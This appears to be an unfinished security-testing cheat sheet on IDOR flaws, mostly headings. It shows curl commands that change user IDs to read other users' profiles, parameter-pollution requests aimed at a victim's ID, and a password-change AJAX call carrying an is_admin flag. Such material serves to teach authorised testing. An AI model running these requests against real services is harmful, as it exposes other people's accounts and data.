IDOR
Identifying IDORs
Simple Parameter Manipulation
# Numeric ID increment
curl -u user1:pass1 http://api.target.com/v1/users/123/profile
curl -u user1:pass1 http://api.target.com/v1/users/124/profile
# UUID/hash prediction
curl -u user1:pass1 http://api.target.com/v1/users/550e8400-e29b-41d4-a716-446655440000/profile
curl -u user1:pass1 http://api.target.com/v1/users/550e8400-e29b-41d4-a716-446655440001/profileParameter Pollution
# Multiple ID parameters
curl "http://target.com/download?file_id=legit123&file_id=admin456"
curl "http://target.com/api?user_id=valid123&user_id=victim789"AJAX Calls
function changeUserPassword() {
$.ajax({
url:"change_password.php",
type: "post",
dataType: "json",
data: {uid: user.uid, password: user.password, is_admin: is_admin},
success:function(result){
//
}
});
}Understand Hashing/Encoding
Compare User Roles
IDOR Enumeration
Basic ID Enumeration
Parameter Fuzzing
Bypassing Encoded/Obscured IDs
Base64-Encoded IDs
Hashed IDs (MD5, SHA1, etc.)
Custom Encoding (e.g., XOR, Bit-Shifting)
IDOR in Insecure APIs
REST API IDOR
GraphQL IDOR
SOAP API IDOR (XML)
Bypassing Protections
Swapping HTTP Methods
Adding Headers (API Key Spoofing)
Parameter Pollution
Last updated